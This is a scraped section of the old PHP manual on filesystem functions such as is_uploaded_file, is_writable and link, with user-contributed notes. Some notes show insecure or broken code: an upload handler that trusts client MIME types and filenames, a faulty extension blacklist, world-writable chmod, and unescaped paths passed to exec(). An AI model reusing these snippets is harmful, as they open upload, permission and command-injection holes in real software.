andudi at gmx dot ch 02-Jun-2002 10:44
On my SuSE 7.2 is_link does not work on directories, but to find out, if a dir is a link, I use now this:

$linkdir = $path.$linkdirname;
if (realpath($linkdir) != realpath($path)."/".$linkdirname):
//$linkdir is a symbolic linked dir!
...

and this works fine :-)

Andreas Dick
aris at riponce dot com 27-Mar-2001 02:27
If you test a symbolic (soft) link with is_file() it will return true. Either use filetype() which always returns the correct type OR make sure that you FIRST test with is_link() before you do with is_file() to get the correct type.
is_file
is_readable
Filesystem Functions


Tells whether a file exists and is readable

is_link
is_uploaded_file
Filesystem Functions
PHP Manual

is_readable

(PHP 4, PHP 5)

is_readable — Tells whether a file exists and is readable

Description

bool is_readable ( string $filename )

Tells whether a file exists and is readable.

Parameters

filename

Path to the file.

Return Values

Returns TRUE if the file or directory specified by filename exists and is readable, FALSE otherwise.

Examples

Example #1 is_readable() example

<?php
$filename = 'test.txt';
if (is_readable($filename)) {
    echo 'The file is readable';
} else {
    echo 'The file is not readable';
}
?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Keep in mind that PHP may be accessing the file as the user id that the web server runs as (often 'nobody'). Safe mode limitations are not taken into account before PHP 5.1.5.

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

Note:

The check is done using the real UID/GID instead of the effective one.

See Also

  • is_writable() - Tells whether the filename is writable
  • file_exists() - Checks whether a file or directory exists
  • fgets() - Gets line from file pointer

User Contributed Notes

pgl at yoyo dot org 31-Jul-2009 07:13
Note that is_readable() will return false for streams, eg, php://stdin.
jascha át gmx dót com 07-Nov-2006 06:58
Safe_mode restrictions ignored means:
cant read by read() so is_readable() = false.
even if safe_mode_include_dir is set and include does works, is_readable() is false to. :(
(php5)
jo at durchholz dot org 30-Jan-2006 09:15
DrTebi at yahoo dot com is wrong. is_readable() checks whether you can do file_get_contents() or similar calls, no more, no less. If the location given returns a 500 or 403 error, you can still read() that (you'll simply get the error page), but it's still read()able. Using is_readable to check the validity of a URL is simply the wrong function.
DrTebi at yahoo dot com 13-Oct-2005 09:22
Be careful when using is_readable on symbolic links.

is_readable will return true if the file the symbolic link is pointing to is readable.

The problem is that if the server does NOT allow to follow symbolic links, is_readable will still return true, but e.g. redirecting to the sybolic link will not work. For Apache, make sure that at the server, virtual host configuration level, or inside a directory container you have set
Options +FollowSymLinks

As an example, let's say you have at the document root directory:
index.php -- the script using is_readable
my_linked_page.html -- a regular HTML page
my_link -- a link pointing to my_linked_page.html

Now in index.php:
<?php
if (is_readable('my_link')) {
  header('Location: /my_link');
}
?>

If FollowSymLinks is forbidden, this will not work, if allowed, it will.
26-Jul-2005 07:08
Sometimes in situations where file_exists fails (returns false even though the file does exist) stat will work.
is_link
is_uploaded_file
Filesystem Functions


Tells whether the file was uploaded via HTTP POST

is_readable
is_writable
Filesystem Functions
PHP Manual

is_uploaded_file

(PHP 4 >= 4.0.3, PHP 5)

is_uploaded_file — Tells whether the file was uploaded via HTTP POST

Description

bool is_uploaded_file ( string $filename )

Returns TRUE if the file named by filename was uploaded via HTTP POST. This is useful to help ensure that a malicious user hasn't tried to trick the script into working on files upon which it should not be working--for instance, /etc/passwd.

This sort of check is especially important if there is any chance that anything done with uploaded files could reveal their contents to the user, or even to other users on the same system.

For proper working, the function is_uploaded_file() needs an argument like $_FILES['userfile']['tmp_name'], - the name of the uploaded file on the client's machine $_FILES['userfile']['name'] does not work.

Parameters

filename

The filename being checked.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 is_uploaded_file() example

<?php

if (is_uploaded_file($_FILES['userfile']['tmp_name'])) {
   echo "File ". $_FILES['userfile']['name'] ." uploaded successfully.\n";
   echo "Displaying contents\n";
   readfile($_FILES['userfile']['tmp_name']);
} else {
   echo "Possible file upload attack: ";
   echo "filename '". $_FILES['userfile']['tmp_name'] . "'.";
}

?>

See Also

  • move_uploaded_file() - Moves an uploaded file to a new location
  • $_FILES
  • See Handling file uploads for a simple usage example.

User Contributed Notes

Anonymous 02-Mar-2008 03:57
> is_uploaded_file($_FILES['userfile']['tmp_name']);
> MUST always evaluate to true by definition which is, of course, useless.

This is not the case if there was an error in transmission (i.e. upload_max_filesize exceeded), because then tmp_name contains an empty string.
So, this function still has the obvious use of an is_file() call, even for a trusted argument and does NOT ALWAYS evaluate to true.
exonie at mail dot notpartofaddress dot bg 17-Sep-2007 03:37
The description in the manual above says that the function needs an argument like:
<?php
$_FILES['userfile']['tmp_name']
?>
Which is incorrect! This variable returns the pathname of the temp file (with random filename) that is created by php and, besides, is a superglobal so there is no way that it is overridden to point to another file (by injection when register_globals is on for example). Which means that:
<?php
is_uploaded_file($_FILES['userfile']['tmp_name']);
?>
MUST always evaluate to true by definition which is, of course, useless.

The function is to be used only with variables that are prone to injection, which should not happen anyway since everyone should have their register globals off (finally we get rid of that in PHP6).

Only $_FILES['userfile']['name'] contains user submitted string and should be sanitized if it's to be used as a filename because it could (could it?) contain relative or absolute path or undesirable filename. The former is done simply with:
<?php
  $filename = basename($_FILES['userfile']['name']);
?>
uramihsayibok, gmail, com 12-Aug-2007 09:18
It isn't mentioned anywhere that I've seen, but $filename *is* case-sensitive on Windows.
It means that while C:\Windows\TEMP\php123.tmp may have been uploaded, C:\Windows\Temp\php123.tmp was not.

I found this out because I was using realpath() on the filename which 'fixed' the case (my Temp folder is in titlecase, not uppercase - thank you Vista).

Anyways, the problem was that PHP used %TEMP% to determine the destination for the uploaded file, and %TEMP% used the all-capitals version of the path. Changing it to use titlecase instead + restarting Apache fixed the problem.
tejas at kaushalam dot com 28-Mar-2006 11:28
<FORM ENCTYPE="multipart/form-data" ACTION="_URL_" METHOD=POST>
Upload this file: <INPUT NAME="userfile" TYPE="file">
<INPUT TYPE="submit" VALUE="Send File"></FORM>

This html code will display a text area with file upload button. The form tag is bit different than the normal form tag used ( see the encrypte =).

Now let us go to the php part to handle the uploaded file. We have In PHP 3, the following variables will be defined within the destination script upon a successful upload, assuming that register_globals is turned on in php3.ini. If track_vars is turned on, they will also be available in PHP 3 within the global

array $HTTP_POST_VARS. Note that the following variable names assume the use of the file upload name 'userfile', as used in the example above:

    * $userfile - The temporary filename in which the uploaded file was stored on the server machine.
    * $userfile_name - The original name or path of the file on the sender's system.
    * $userfile_size - The size of the uploaded file in bytes.
    * $userfile_type - The mime type of the file if the browser provided this information. An example would be "image/gif".

With all these info we will make our script ready to handle the files.
Let us check the file size and we will not allow file size more than 250 KB to get uploaded to our server. Here we are using a flag $file_upload to false for processing the file upload.

if ($userfile_size >250000){$msg=$msg."Your uploaded file size is more than 250KB so please reduce the file size and then upload. Visit the help page to know how to reduce the file size.<BR>";
$file_upload="false";}

Now let us check the file extension and only jpg or gif file pictures we will allow into our server. We will check this by using $userfile_type extension

if (!($userfile_type =="image/pjpeg" OR $userfile_type=="image/gif")){$msg=$msg."Your uploaded file must be of JPG or GIF. Other file types are not allowed<BR>";
$file_upload="false";}
We will limit ourselves to these two type checks and if we find our $file_upload variable is not "false" then we can upload the file. This part is very simple in PHP and can be done in one step. Before that let us decide the file directory name where we will be placing the file. $add is the path with the file name relative to the script running this code where the uploaded file will be stored.

$add="upload/$userfile_name"; // the path with the file name where the file will be stored, upload is the directory name.

Now let us copy the file to server. The command move_uploaded_file will does that job for us and if the action is successful then it will return true.

if(move_uploaded_file ($userfile, $add)){
// do your coding here to give a thanks message or any other thing.
}else{echo "Failed to upload file Contact Site admin to fix the problem";}
Thats all... the file is placed in our directory (name: upload)
YLearn 10-Oct-2005 10:42
Just looked at what I posted again and found several mistakes of the major and minor sort.  That's what I get for posting before I finish my coffee.  This should work better (i.e. should work in the first place):

<?php
   default: //a default error, just in case!  :)
       echo "There was a problem with your upload.";
       $err_msg = "Unrecognized file POST error: ".$HTTP_POST_FILES['userfile']['error'];
       if (!(strpos($err_msg, "\n") === false)) {
           $err_lines = explode("\n", $err_msg);
           foreach ($err_lines as $msg) {
               error_log($msg, 0);
           }
       } else {
           error_log($err_msg, 0);
       }
       break;
?>
YLearn 10-Oct-2005 09:41
Regarding topcat's suggested change, I am split on doing that.  I don't like showing users errors that may give them more information than they should have (or show that I haven't provided for that particular error).  But I want to know when there are errors that fall to the default case so I can fix my code.  What I will typically do is write them to the error log something like this modification to metaltoad's post (takes into account the possibility of multi-line errors which error_log doesn't handle well):

<?php
    default: //a default error, just in case!  :)
        echo "There was a problem with your upload.";
        $err_msg = "Unrecognized file POST error: ".$HTTP_POST_FILES['userfile']['error'];
        if ((strpos($err_msg, "\n") === 0) {
            $err_lines = explode("\n", $err_msg);
            foreach ($err_lines as $msg) {
                error_log($msg, 0);
            }
        } else {
            error_log($err_msg, 0)
        }
        break;
?>
juk 18-Sep-2005 03:26
If your $_FILES and $_POST are empty, this can be due to
- the limit set by post_max_size in php.ini
- the limit set by upload_max_filesize in php.ini

Unfortunately the first limit is not reported back as an error code in $_FILES['error'].
topcat 14-Jul-2005 04:56
Just a little tip to info at metaltoad's comment:
It's good practice to print error code when it can't be recognized:

   default: //print the error code
     echo "Unrecognized error code: ".$HTTP_POST_FILES['userfile']['error'];
     break;
23-Apr-2005 12:29
make use u got the enctype="multipart/form-data" in ur form tag otrherwise nothing works... took me two hours to find that out.......
beer UNDRSCR nomaed AT hotmail DOT com 15-Apr-2005 04:21
Regarding the comment of info at metaltoad dot net
@ 19-Feb-2003 04:03

<?php
// ... yada yada yada...
preg_match("/.exe$|.com$|.bat$|.zip$|.doc$|.txt$/i", $HTTP_POST_FILES['userfile']['name']))
// ... yada yada yada...
?>

This will not work. It will, but not correctly.
You shuld escape the . (dot) for the preg function,
and escape the $ (dollar) sign for PHP, or use
single-quoted string...

The syntax should be (much shorter and neater):

<?php
// ... yada yada yada...
preg_match('/\\.(exe|com|bat|zip|doc|txt)$/i', $_FILES['userfile']['name']))
// ... yada yada yada...
?>
lots2learn at gmail dot com 06-Feb-2005 09:13
if files are not getting uploaded and $_FILE array is empty ..and your code looks fine..then check php.ini file..the file_uploads option should be turned 'On' to allow file uploads. Turn it on and restart apache to have effect .
Gordon Luk 04-Oct-2004 03:55
If the $_FILES array suddenly goes mysteriously empty, even though your form seems correct, you should check the disk space available for your temporary folder partition. In my installation, all file uploads failed without warning. After much gnashing of teeth, I tried freeing up additional space, after which file uploads suddenly worked again.
vbudov_yahoo.com 21-May-2004 04:58
Before moving the file in to place it's also a good idea to check if file with the same name already exists on the server.
If file exists then create unique name for the new file.

$num=1;
while (file_exists($destination)){
    $num++; // if previous file name existed then thy another number+_+filename
    $file_name = $num."_".$_FILES['userfile']['name'];
    $destination = $uploadpath.$file_name;
}
move_uploaded_file( $source, $destination );
phpnetmark at nunswithguns dot co dot uk 16-Apr-2003 10:53
If you are importing the uploaded file into a BLOB field in a mysql database and you are using LOAD_FILE() sql statement then be aware that  mysql checks max-allowed-packet mysql variable.

- if the size of the binary file LOAD_FILE is importing is bigger than
max-allowed-packet size then it LOAD_FILE will return null.

You can specify max-allowed-packet size in the call to mysqld eg:

./bin/safe_mysqld --user=mysql --max-allowed-packet=16M &

Full info on this variable is available here:
http://www.mysql.com/doc/en/Packet_too_large.html
info at metaltoad dot net 19-Feb-2003 01:03
As of PHP 4.2.0, rather than automatically assuming a failed file uploaded is a file attack, you can use the error code associated with the file upload to check and see why the upload failed.  This error code is stored in the userfile array (ex: $HTTP_POST_FILES['userfile']['error']).

Here's an example of a switch:

if (is_uploaded_file($userfile)) {

  //include code to copy tmp file to final location here...

}else{
  switch($HTTP_POST_FILES['userfile']['error']){
    case 0: //no error; possible file attack!
      echo "There was a problem with your upload.";
      break;
    case 1: //uploaded file exceeds the upload_max_filesize directive in php.ini
      echo "The file you are trying to upload is too big.";
      break;
    case 2: //uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the html form
      echo "The file you are trying to upload is too big.";
      break;
    case 3: //uploaded file was only partially uploaded
      echo "The file you are trying upload was only partially uploaded.";
      break;
    case 4: //no file was uploaded
      echo "You must select an image for upload.";
      break;
    default: //a default error, just in case!  :)
      echo "There was a problem with your upload.";
      break;
}

Additionally, by testing the 'name' element of the file upload array, you can filter out unwanted file types (.exe, .zip, .bat, etc).  Here's an example of a filter that can be added before testing to see if the file was uploaded:

//rejects all .exe, .com, .bat, .zip, .doc and .txt files
if(preg_match("/.exe$|.com$|.bat$|.zip$|.doc$|.txt$/i", $HTTP_POST_FILES['userfile']['name'])){
  exit("You cannot upload this type of file.");
}

//if file is not rejected by the filter, continue normally
if (is_uploaded_file($userfile)) {

/*rest of code*/
itadmin at itmusicweb dot co dot uk 28-Nov-2002 06:11
The example brought out does not work as supposed to:

function is_uploaded_file($filename) {
    if (!$tmp_file = get_cfg_var('upload_tmp_dir')) {
        $tmp_file = dirname(tempnam('', ''));
    }
    $tmp_file .= '/' . basename($filename);
    /* User might have trailing slash in php.ini... */
    return (ereg_replace('/+', '/', $tmp_file) == $filename);
}

It works only with files under ....4 or 5 kb, other files automatically get the size of 0 bytes. So something must be wrong here. Built-in is_uploaded_file() works good.
troels at NO dot SPAM dot webcode dot dk 14-Oct-2002 12:44
to get the example to work on windows, youll have to add a line, that replaces backslashes with slashes. eg.: $filename = str_replace ("\\", "/", $filename);

also, as someone mentioned, globalizing $HTTP_POST_FILES is a good idea ...

<pre>
/* Userland test for uploaded file. */
function is_uploaded_file($filename)
{
    global $HTTP_POST_FILES;
    if (!$tmp_file = get_cfg_var("upload_tmp_dir")) {
        $tmp_file = dirname(tempnam("", ""));
    }
    $tmp_file .= "/" . basename($filename);
    /* User might have trailing slash in php.ini... */
    // fix for win platform
    $filename = str_replace ("\\", "/", $filename);
    return (ereg_replace("/+", "/", $tmp_file) == $filename);
}
</pre>
r3gan at hotmail dot com 17-Jun-2002 12:24
Remeber, if using $HTTP_POST_FILES inside a function and it doesn't seem to work, try globalizing the array:

function UploadFile() {

    global $HTTP_POST_FILES;

    // rest of your code here

}  // end UploadFile
is_readable
is_writable
Filesystem Functions


Tells whether the filename is writable

is_uploaded_file
is_writeable
Filesystem Functions
PHP Manual

is_writable

(PHP 4, PHP 5)

is_writable — Tells whether the filename is writable

Description

bool is_writable ( string $filename )

Returns TRUE if the filename exists and is writable. The filename argument may be a directory name allowing you to check if a directory is writable.

Keep in mind that PHP may be accessing the file as the user id that the web server runs as (often 'nobody'). Safe mode limitations are not taken into account.

Parameters

filename

The filename being checked.

Return Values

Returns TRUE if the filename exists and is writable.

Examples

Example #1 is_writable() example

<?php
$filename = 'test.txt';
if (is_writable($filename)) {
    echo 'The file is writable';
} else {
    echo 'The file is not writable';
}
?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • is_readable() - Tells whether a file exists and is readable
  • file_exists() - Checks whether a file or directory exists
  • fwrite() - Binary-safe file write

User Contributed Notes

gr 05-Oct-2010 03:32
The results of this function seems to be not cached :
Tested on linux and windows

<?php
chmod($s_pathFichier, 0400);
echo'<pre>';var_dump(is_writable($s_pathFichier));echo'</pre>';
chmod($s_pathFichier, 04600);
echo'<pre>';var_dump(is_writable($s_pathFichier));echo'</pre>';
exit;
?>
starrychloe at yahoo dot com 10-Feb-2008 05:50
To Darek and F Dot: About group permissions, there is this note in the php.ini file:
; By default, Safe Mode does a UID compare check when
; opening files. If you want to relax this to a GID compare,
; then turn on safe_mode_gid.
safe_mode_gid = Off
wuhai 25-Sep-2007 09:46
I was trying to create a new file using fwrite, and i had the following error.  Any idea?
Warning: fwrite(): supplied argument is not a valid stream resource in
legolas558 d0t users dot sf dot net 02-Mar-2007 12:18
This is the latest version of is__writable() I could come up with.
It can accept files or folders, but folders should end with a trailing slash! The function attempts to actually write a file, so it will correctly return true when a file/folder can be written to when the user has ACL write access to it.

<?php
function is__writable($path) {
//will work in despite of Windows ACLs bug
//NOTE: use a trailing slash for folders!!!
//see http://bugs.php.net/bug.php?id=27609
//see http://bugs.php.net/bug.php?id=30931

    if ($path{strlen($path)-1}=='/') // recursively return a temporary file path
        return is__writable($path.uniqid(mt_rand()).'.tmp');
    else if (is_dir($path))
        return is__writable($path.'/'.uniqid(mt_rand()).'.tmp');
    // check tmp file for read/write capabilities
    $rm = file_exists($path);
    $f = @fopen($path, 'a');
    if ($f===false)
        return false;
    fclose($f);
    if (!$rm)
        unlink($path);
    return true;
}
?>
haccel at email dot com 03-Aug-2006 05:51
Ooooops, sorry! My mistake. is__writable should be:

<?php

function is__writable($path)
{

   if ($path{strlen($path)-1}=='/') //Start function again with tmp file...

       return is__writable($path.uniqid(mt_rand()).'.tmp');

   elseif (ereg('.tmp', $path))
   { //Check tmp file for read/write capabilities

       if (!($f = @fopen($path, 'w+')))
           return false;
       fclose($f);
       unlink($path);
       return true;

   }
   else //We have a path error.

       return 0; // Or return error - invalid path...

}

?>

The original could've deleted a folder if the path was invalid  to start with (no trailing slash..) and the folder was writable to begin with...
haccel at email dot com 02-Aug-2006 08:56
Be careful of legolas558 dot sourceforge comma net's example, try this instead:

<?php

function is__writable($path)
{

    if ($path{strlen($path)-1}=='/')

        return is__writable($path.uniqid(mt_rand()).'.tmp');

    elseif (file_exists($path) && ereg('.tmp', $path))
    {

        if (!($f = @fopen($path, 'w+')))
            return false;
        fclose($f);
        unlink($path);
        return true;

    }
    else

        return 0; // Or return error - invalid path...

}

?>
legolas558 dot sourceforge comma net 13-Jul-2006 01:17
Since looks like the Windows ACLs bug "wont fix" (see http://bugs.php.net/bug.php?id=27609) I propose this alternative function:

<?php

function is__writable($path) {

if ($path{strlen($path)-1}=='/')
    return is__writable($path.uniqid(mt_rand()).'.tmp');

if (file_exists($path)) {
    if (!($f = @fopen($path, 'r+')))
        return false;
    fclose($f);
    return true;
}

if (!($f = @fopen($path, 'w')))
    return false;
fclose($f);
unlink($path);
return true;
}

?>

It should work both on *nix and Windows

NOTE: you must use a trailing slash to identify a directory
Nils Kuebler 18-Apr-2006 03:15
this one recursivly checks if a folder and all its contents are writeable

<?php
function is_removeable($dir)
{
   $folder = opendir($dir);
   while($file = readdir( $folder ))
    if($file != '.' && $file != '..' &&
        ( !is_writable(  $dir."/".$file  ) ||
        (  is_dir(   $dir."/".$file   ) && !is_removeable(   $dir."/".$file   )  ) ))
   {
    closedir($dir);
    return false;
   }
   closedir($dir);
   return true;
}
?>
greg at gregwhitescarver dotcalm 07-Feb-2006 06:55
In response to Darek:

We have two servers: one running PHP 5.0.4 and Apache 1.3.33, the other running PHP 4.3.5 and Apache 1.3.27.  The PHP 4 server exhibits the behavior you are describing, with is_writable() returning 'false' even though the www user is in the group that owns the file, but the PHP 5 server is returning 'true.'
darek at fauxaddress dot com 31-Jan-2006 10:27
It appears that is_writable() does not check full permissions of a file to determine whether the current user can write to it.  For example, with Apache running as user 'www', and a member of the group 'wheel', is_writable() returns false on a file like

-rwxrwxr-x           root         wheel          /etc/some.file
JimmyNighthawk 12-Sep-2005 02:02
Regarding you might recognize your files on your web contructed by your PHP-scripts are grouped as NOBODY you can avoid this problem by setting up an FTP-Connection ("ftp_connect", "ftp_raw", etc.) and use methods like "ftp_fput" to create these [instead of giving out rights so you can use the usual "unsecure" way]. This will give the files created not the GROUP NOBODY - it will give out the GROUP your FTP-Connection via your FTP-Program uses, too.

Furthermore you might want to hash the password for the FTP-Connection - then check out:
http://dev.mysql.com/doc/mysql/en/Password_hashing.html
claude dot paroz at ne dot ch 06-Apr-2004 04:28
Under Windows, it only returns the read-only attribute status, not the actual permissions (ACL).
See http://bugs.php.net/bug.php?id=27609
agrenier at assertex dot com 02-Apr-2004 04:56
This file_write() function will give $filename the write permission before writing $content to it.

Note that many servers do not allow file permissions to be changed by the PHP user.

<?php
    function file_write($filename, &$content) {
        if (!is_writable($filename)) {
            if (!chmod($filename, 0666)) {
                 echo "Cannot change the mode of file ($filename)";
                 exit;
            };
        }
        if (!$fp = @fopen($filename, "w")) {
            echo "Cannot open file ($filename)";
            exit;
        }
        if (fwrite($fp, $content) === FALSE) {
            echo "Cannot write to file ($filename)";
            exit;
        }
        if (!fclose($fp)) {
            echo "Cannot close file ($filename)";
            exit;
        }
    }
?>
is_uploaded_file
is_writeable
Filesystem Functions


Alias of is_writable

is_writable
lchgrp
Filesystem Functions
PHP Manual

is_writeable

(PHP 4, PHP 5)

is_writeable — Alias of is_writable()

Description

This function is an alias of: is_writable().

User Contributed Notes

There are no user contributed notes for this page.
is_writable
lchgrp
Filesystem Functions


Changes group ownership of symlink

is_writeable
lchown
Filesystem Functions
PHP Manual

lchgrp

(PHP 5 >= 5.1.2)

lchgrp — Changes group ownership of symlink

Description

bool lchgrp ( string $filename , mixed $group )

Attempts to change the group of the symlink filename to group.

Only the superuser may change the group of a symlink arbitrarily; other users may change the group of a symlink to any group of which that user is a member.

Parameters

filename

Path to the symlink.

group

The group specified by name or number.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Changing the group of a symbolic link

<?php
$target = 'output.php';
$link = 'output.html';
symlink($target, $link);

lchgrp($link, 8);
?>

Notes

Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem.

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

Note: This function is not implemented on Windows platforms.

See Also

  • chgrp() - Changes file group
  • lchown() - Changes user ownership of symlink
  • chown() - Changes file owner
  • chmod() - Changes file mode

User Contributed Notes

There are no user contributed notes for this page.
is_writeable
lchown
Filesystem Functions


Changes user ownership of symlink

lchgrp
link
Filesystem Functions
PHP Manual

lchown

(PHP 5 >= 5.1.2)

lchown — Changes user ownership of symlink

Description

bool lchown ( string $filename , mixed $user )

Attempts to change the owner of the symlink filename to user user.

Only the superuser may change the owner of a symlink.

Parameters

filename

Path to the file.

user

User name or number.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Changing the owner of a symbolic link

<?php
$target = 'output.php';
$link = 'output.html';
symlink($target, $link);

lchown($link, 8);
?>

Notes

Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem.

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

Note: This function is not implemented on Windows platforms.

See Also

  • chown() - Changes file owner
  • lchgrp() - Changes group ownership of symlink
  • chgrp() - Changes file group
  • chmod() - Changes file mode

User Contributed Notes

There are no user contributed notes for this page.
lchgrp
link
Filesystem Functions


Create a hard link

lchown
linkinfo
Filesystem Functions
PHP Manual

link

(PHP 4, PHP 5)

link — Create a hard link

Description

bool link ( string $target , string $link )

link() creates a hard link.

Parameters

target

Target of the link.

link

The link name.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: For Windows only: This function requires PHP to run in an elevated mode or with the UAC disabled.

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms (Vista, Server 2008 or greater).

Examples

Example #1 Creating a simple hard link

<?php
$target = 'source.ext'; // This is the file that already exists
$link = 'newfile.ext'; // This the filename that you want to link it to

link($target, $link);
?>

Notes

Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem.

See Also

  • symlink() - Creates a symbolic link
  • readlink() - Returns the target of a symbolic link
  • linkinfo() - Gets information about a link

User Contributed Notes

Unsigned 05-Oct-2011 10:25
link() actually does work on Windows XP SP3 running PHP 5.3.8 on an NTFS filesystem, even though the documentation says Vista and later.

The corresponding symlink() does not however.
Anonymous 16-Oct-2009 01:54
to clarify:

in unix/linux:
hardlinks (by this function) cannot go across different filesystems.
softlinks can point anywhere.

in linux, hardlinking to directory is not permited.
albertpeschar at gmail dot com 28-May-2008 08:20
>> Be aware that the filesystem of the target and the link must be the same,
>> otherwise the link will fail! (Linking files over different filesystems doesn't work under Unix).

Using debian sid, 2.6.24-17-generic, that is definitely not true.
Tim McCormack 27-Mar-2008 05:04
As others have noted, the parameter order can seem a little awkward. Here's a mnemonic for remembering the order:

In UNIX, commands go like this:

> command input output

The link command is no different:

> ln infile outfile

...and PHP respects that convention.
Jasper Bekkers 06-Mar-2008 09:08
Due to the acquisition of Winternals by Microsoft, the previous link to junction.exe doesn't work anymore. The file has been moved to http://www.microsoft.com/technet/
sysinternals/FileAndDisk/Junction.mspx

(without the newline)
me at robhaswell dot co dot uk 09-Jan-2008 06:56
For those that find the order of the arguments unclear, here is a more verbose description:

<?php

$source = "something.ext"; // This is the file that already exists
$dest = "newfile.ext"; // This the filename that you want to link it to

link($source, $dest);
?>
stephane AT baladeauboutdumonde DOT com 06-Aug-2007 11:45
Make link recursively :
<?php
function makeRecusLink($orig, $dest)
{
    if (is_dir($orig)) {
        if (substr($orig, -1) != '/') {
            $orig .= '/';
        }

        $handle = opendir($orig);

        while (false !== ($file = readdir($handle))) {
            if ($file != '.' && $file != '..') {
                $path = $orig.$file;

                if (is_file($path)) {
                    @link($path, $dest.'/'.$file);
                } else if (is_dir($path)) {
                    @mkdir($dest.'/'.$file, 0755);
                    makeRecusLink($path, $dest.'/'.$file);
                }
            }
        }
    }

    closedir($handle);
}
?>
root at c-works dot net 05-Jan-2007 01:58
Be aware that the filesystem of the target and the link must be the same, otherwise the link will fail! (Linking files over different filesystems doesn't work under Unix).
Jasper Bekkers 02-Aug-2006 07:16
For a backup utility I needed link-like functionality on a windows system. As it isn't availible on windows, i tried to do it myself with the help of some tools. All you need is junction.exe from sysinternals in your %PATH%.

<?php
if(!function_exists('link')){ // Assume a windows system
    function link($target, $link){
        if(is_dir($target)){
            // junctions link to directories in windows
            exec("junction $link $target", $lines, $val);
            return 0 == $val;
        }elseif(is_file($target)){
            // Hardlinks link to files in windows
            exec("fsutil hardlink create $link $target", $lines, $val);
            return 0 == $val;
        }

        return false;
    }
}
?>

http://www.sysinternals.com/Utilities/Junction.html
Guilherme Garnier 25-Apr-2006 11:32
I noticed that, differently from Unix ln command, the second parameter can´t be a directory name, i.e., if you want to create a link with the same filename of the target file (obviously on different directories), you must specify the filename on the link parameter.

Example:
Unix ln command:
ln /dir1/file /dir2/   // ok, creates /dir2/file link

PHP link function:
link ("/dir1/file", "/dir2/");   // wrong, gives a "File exists" warning
link ("/dir1/file", "/dir2/file");   // ok, creates /dir2/file link
mmap at upt dot org 15-May-2004 04:28
I think kop is confused regarding the semantics of link's argument order.  The user's comment states that target should not already exist, suggesting that it is the target that is being created.   As with the UNIX hardlink, ln(1), the target is the existing file.  I think kop meant to say php's link() will return an error if the second parameter, the link being created, already exists.

Also, as with the UNIX system call link will fail if the link being created exists on a different filesystem.
kop at meme dot com 25-Sep-2003 02:20
Note that link() will not work if the target already exists, at least as of php 4.1.2.
lchown
linkinfo
Filesystem Functions


Gets information about a link

link
lstat
Filesystem Functions
PHP Manual

linkinfo

(PHP 4, PHP 5)

linkinfo — Gets information about a link

Description

int linkinfo ( string $path )

Gets information about a link.

This function is used to verify if a link (pointed to by path) really exists (using the same method as the S_ISLNK macro defined in stat.h).

Parameters

path

Path to the link.

Return Values

linkinfo() returns the st_dev field of the Unix C stat structure returned by the lstat system call. Returns 0 or FALSE in case of error.

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms (Vista, Server 2008 or greater).

Examples

Example #1 linkinfo() example

<?php

echo linkinfo('/vmlinuz'); // 835

?>

See Also

  • symlink() - Creates a symbolic link
  • link() - Create a hard link
  • readlink() - Returns the target of a symbolic link

User Contributed Notes

There are no user contributed notes for this page.
link
lstat
Filesystem Functions


Gives information about a file or symbolic link

linkinfo
mkdir
Filesystem Functions
PHP Manual

lstat

(PHP 4, PHP 5)

lstat — Gives information about a file or symbolic link

Description

array lstat ( string $filename )

Gathers the statistics of the file or symbolic link named by filename.

Parameters

filename

Path to a file or a symbolic link.

Return Values

See the manual page for stat() for information on the structure of the array that lstat() returns. This function is identical to the stat() function except that if the filename parameter is a symbolic link, the status of the symbolic link is returned, not the status of the file pointed to by the symbolic link.

Examples

Example #1 Comparison of stat() and lstat()

<?php
symlink('uploads.php', 'uploads');

// Contrast information for uploads.php and uploads
array_diff(stat('uploads'), lstat('uploads'));
?>

The above example will output something similar to:

Information that differs between the two files.

Array
(
    [ino] => 97236376
    [mode] => 33188
    [size] => 34
    [atime] => 1223580003
    [mtime] => 1223581848
    [ctime] => 1223581848
    [blocks] => 8
)

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • stat() - Gives information about a file

User Contributed Notes

There are no user contributed notes for this page.
linkinfo
mkdir
Filesystem Functions


Makes directory

lstat
move_uploaded_file
Filesystem Functions
PHP Manual

mkdir

(PHP 4, PHP 5)

mkdir — Makes directory

Description

bool mkdir ( string $pathname [, int $mode = 0777 [, bool $recursive = false [, resource $context ]]] )

Attempts to create the directory specified by pathname.

Parameters

pathname

The directory path.

mode

The mode is 0777 by default, which means the widest possible access. For more information on modes, read the details on the chmod() page.

Note:

mode is ignored on Windows.

Note that you probably want to specify the mode as an octal number, which means it should have a leading zero. The mode is also modified by the current umask, which you can change using umask().

recursive

Allows the creation of nested directories specified in the pathname. Defaults to FALSE.

context

Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.0.0 | The recursive parameter was added
5.0.0 | As of PHP 5.0.0 mkdir() can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers for a listing of which wrappers support mkdir()
4.2.0 | The mode parameter became optional.

Examples

Example #1 mkdir() example

<?php
mkdir("/path/to/my/dir", 0700);
?>

